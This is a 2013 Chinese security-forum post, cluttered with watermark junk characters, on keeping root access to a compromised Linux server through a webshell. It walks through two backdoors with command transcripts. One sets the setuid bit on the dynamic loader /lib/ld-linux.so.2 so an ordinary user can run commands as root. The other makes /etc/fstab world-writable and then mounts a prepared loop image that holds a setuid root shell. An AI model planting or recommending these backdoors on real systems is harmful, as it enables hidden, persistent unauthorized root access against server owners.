找回密码
 立即注册
查看: 3293|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
9 H, C& \8 w( Q& }- v
* d1 F1 o2 Y% p3 g% k, z[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
6 O+ b( q# V8 Llrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究. I; H' q& ~* L+ K* d' `
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究, k; ^& p6 M2 q
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究" w8 ^5 d2 `  p4 G$ Q1 x
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
' Y1 S) k. B- O( d-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究# V# {5 q( `3 t8 H( z
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
" ]; `+ F8 B" ?* A3 \5 i3 w4 ~[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
9 y# N( B" r- z  {) C- G9 S- _; E9 ]我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
/ ~, U' Y6 m* d5 X7 E
) T6 [& L# t/ T6 @8 A普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
  J! @! k* m) Q  R4 E% B6 E
4 v7 T0 `5 y2 f) g[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
( o7 F: W  w" v; A. x$ k5 H2 R, }& Zxiaoyu2ezX-BUG-关注前沿信息安全技术研究9 M* @5 P8 G! w; b9 i
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究/ {5 Q, i0 A0 Y5 g1 g
root2ezX-BUG-关注前沿信息安全技术研究! l0 l5 y  s4 N0 I2 H# t6 u5 U# _
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
( I9 F2 l# \0 D+ r( p: B' U" U恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
! ~  \. }* {2 N+ \; E' u1 I: ?# Y, M4 H4 F& J7 h7 O2 ]- e4 {
方法二:2ezX-BUG-关注前沿信息安全技术研究
2 e# I) K7 H( u5 a/ `. P+ N5 c1 R1 g2 x# `
看过程:2ezX-BUG-关注前沿信息安全技术研究1 x% N- d8 B' w7 W: H2 d$ j) p
$ f" W$ v) z2 v. R  c# B/ d
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究/ g' ?! I- C. l/ u7 F
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究5 b& J8 `) T  X! i; n! D$ A8 _. \
( w! I/ Z" G2 |2 R. t, Z
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究! \+ Y' C, W# ^2 ~

5 j( u' R0 D6 _% H- |[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
. V* w; A* d0 S1 b0 y-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究  C: z3 @% J9 [! L% L
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
$ i$ \+ m9 N! ^1 d4 r! S' u" K. W8 X' `' C2 I- u2 }0 t/ c0 P
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
6 d5 {' l# V( p) q
$ d& a- F6 R& c# w[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
' F8 s  @2 N3 F+ D* @) r. I-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究7 C$ `6 `- P, j/ `: n3 ~
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究) [4 B, B7 M: _9 N1 m
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究' x3 ?$ I( \& @5 V* N7 @8 C( W% h
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
! I# \4 P* K- `" i* @% H6 k" z$ Ctotal 182ezX-BUG-关注前沿信息安全技术研究' v% g7 K+ Y4 e, P+ z6 d" J! v
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究, ?4 b* h$ @2 C7 z8 T
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究4 r+ |; P: j, X  ~: e
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
/ w& v: g6 y1 Jsh-3.2#2ezX-BUG-关注前沿信息安全技术研究6 r; O1 ~+ |, [( J4 k! ^& ^
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
5 p2 m7 x, m1 }! Mtest这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究* _2 H# Q0 @0 r) i& {# O

! ~# H6 b3 t" @# Z8 g貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究: v; Y2 A& f# ^( \
2ezX-BUG-关注前沿信息安全技术研究" T7 G2 w1 x- M) b' b& _

% G1 i' _9 p: X8 \
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表